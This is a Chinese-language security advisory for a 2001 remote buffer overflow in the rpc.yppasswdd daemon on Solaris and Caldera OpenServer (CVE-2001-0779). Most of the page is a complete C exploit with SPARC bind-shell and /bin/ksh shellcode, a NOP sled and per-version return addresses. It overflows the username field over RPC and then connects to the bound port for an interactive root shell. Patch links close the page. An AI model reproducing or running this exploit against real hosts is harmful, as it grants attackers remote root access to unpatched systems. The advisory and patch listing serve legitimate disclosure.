多个供应商中的rpc.yppasswdd守护进程存在远程缓冲溢出漏洞发布时间:2001-05-10 更新时间:2001-05-10 严重程度:高 威胁程度:远程管理员权限 错误类型:边界检查错误 利用方式:服务器模式 BUGTRAQ ID:2763 CVE(CAN) ID:CVE-2001-0779 受影响系统 Caldera OpenServer 5.0.5详细描述 rpc.yppasswdd是一款UNIX操作系统下用于从yppasswd接收改变口令的请求而修改NIS口令文件的守护程序。 Solaris和Caldera OpenServer操作系统在rpc.yppasswdd实现上存在漏洞,可以导致缓冲溢出,问题是由于YPPASSWDPROC_UPDATE过程调用没有很好的检查用户提交的用户名长度,可以ROOT权限在系统上执行任意代码。 测试代码 /*## copyright LAST STAGE OF DELIRIUM jun 2001 poland *://lsd-pl.net/ #*/ /*## rpc.yppasswdd #*/ /* the effectiveness of this code may be limited in some environments due to */ /* the very small size of the overflowing buffer (it cannot be extended in */ /* such a simple way). the offsets were tested only on ultras, therefore the */ /* code may not work properly on older sparc architecture as well. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <rpc/rpc.h> #include <netdb.h> #include <stdio.h> #include <errno.h> #define YPPASSWD_PROG 100009 #define YPPASSWD_VERS 1 #define YPPASSWD_UPDATE 1 #define NOPNUM 432 #define ADRNUM 200 char bindsckcode[]= "\x20\xbf\xff\xff" /* bn,a <bindsckcode-4> */ "\x20\xbf\xff\xff" /* bn,a <bindsckcode> */ "\x7f\xff\xff\xff" /* call <bindsckcode+4> */ "\x33\x02\x12\x34" "\x90\x10\x20\x02" /* mov 0x02,%o0 */ "\x92\x10\x20\x02" /* mov 0x02,%o1 */ "\x94\x08\x20\x01" /* and %g0,1,%o2 */ "\x96\x08\x20\x01" /* and %g0,1,%o3 */ "\x98\x10\x20\x01" /* mov 0x01,%o4 */ "\x82\x10\x20\xe6" /* mov 0xe6,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\xa2\x22\x3f\xff" /* sub %o0,-1,%l1 */ "\xc0\x23\xe0\x08" /* st %g0,[%o7+8] */ "\x92\x03\xe0\x04" /* add %o7,4,%o1 */ "\x94\x10\x20\x10" /* mov 0x10,%o2 */ "\x96\x10\x20\x02" /* mov 0x02,%o3 */ "\x82\x10\x20\xe8" /* mov 0xe8,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x90\x04\x7f\xff" /* add %l1,-1,%o0 */ "\x92\x10\x20\x05" /* mov 0x05,%o1 */ "\x82\x10\x20\xe9" /* mov 0xe9,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x90\x04\x7f\xff" /* add %l1,-1,%o0 */ "\x92\x08\x20\x01" /* and %g0,1,%o1 */ "\x94\x08\x20\x01" /* and %g0,1,%o2 */ "\x82\x10\x20\xea" /* mov 0xea,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\xa6\x10\x20\x03" /* mov 0x03,%l3 */ "\x92\x10\x20\x09" /* mov 0x09,%o1 */ "\x94\x04\xff\xff" /* add %l3,-1,%o2 */ "\x82\x10\x20\x3e" /* mov 0x3e,%g1 */ "\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */ "\x12\xbf\xff\xfc" /* bne <bindsckcode+112> */ "\x91\xd0\x20\x08" /* ta 8 */ ; char shellcode[]= "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; static char nop[]="\x80\x1c\x40\x11"; typedef struct{char *oldpass;char *pw_name;}req_t; bool_t xdr_req(XDR *xdrs,req_t *objp){ if(!xdr_string(xdrs,&objp->oldpass,~0)) return(FALSE); if(!xdr_string(xdrs,&objp->pw_name,~0)) return(FALSE); return(TRUE); } main(int argc,char **argv){ char buffer[10000],address[4],*b,*cmd; int i,c,n,bindport=-1,port=0,sck,srvsck,flag=0,vers=-1; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; fd_set readfs; req_t req; printf("copyright LAST STAGE OF DELIRIUM jun 2001 poland //lsd-pl.net/\n"); printf("rpc.yppasswdd for solaris 2.6 2.7 2.8 sparc\n"); if(argc<2){ printf("usage: %s address port [-p port] -v 6|7|8\n",argv[0]); exit(-1); } while((c=getopt(argc-2,&argv[2],"p:v:"))!=-1){ switch(c){ case 'p': port=atoi(optarg);break; case 'v': vers=atoi(optarg); } } if(!(bindport=atoi(argv[2]))||(vers==-1)) exit(-1); if(vers==6) *(unsigned long*)address=htonl(0xeffffd18); if(vers==7) *(unsigned long*)address=htonl(0xffbefc38); if(vers==8) *(unsigned long*)address=htonl(0xffbefb24); b=buffer; for(i=0;i<ADRNUM;i++) *b++=address[i%4]; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; bindsckcode[14]=(unsigned char)((bindport&0xff00)>>8); bindsckcode[15]=(unsigned char)(bindport&0xff); for(i=0;i<strlen(bindsckcode);i++) *b++=bindsckcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; req.oldpass=NULL; req.pw_name=buffer; adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("\nerror");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } sck=RPC_ANYSOCK; if(!(cl=clntudp_create(&adr,YPPASSWD_PROG,YPPASSWD_VERS,tm,&sck))){ clnt_pcreateerror("\nerror");exit(-1); } stat=clnt_call(cl,YPPASSWD_UPDATE,xdr_req,(void*)&req,xdr_void,NULL,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);} printf("sent!\n");clnt_destroy(cl);close(sck); sck=socket(AF_INET,SOCK_STREAM,0); adr.sin_port=htons(bindport); sleep(1); if(connect(sck,(struct sockaddr*)&adr,sizeof(adr))<0){ perror("error");exit(-1); } write(sck,"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sck,buf,cnt); } if(FD_ISSET(sck,&fds)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } } 解决方案 补丁下载: Caldera OpenServer 5.0.5: Caldera Upgrade OpenServer yppasswd ftp://stage.caldera.com/pub/security/openserver/CSSA-2002-SCO.19/ Caldera OpenServer 5.0.6: Caldera Upgrade OpenServer yppasswd ftp://stage.caldera.com/pub/security/openserver/CSSA-2002-SCO.19/ http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h Sun Solaris 2.6 _x86: Sun Patch 106304-03 Sun Solaris 2.6: Sun Patch 106303-03 Sun Solaris 7.0 _x86: Sun Patch 111591-02 Sun Solaris 7.0: Sun Patch 111590-02 Sun Solaris 8.0 _x86: Sun Patch 111597-02 Sun Solaris 8.0: Sun Patch 111596-02 相关信息 参考:http://online.securityfocus.com/bid/2763 http://lsd-pl.net/files/get?SOLARIS/solsparc_rpc.yppasswdd |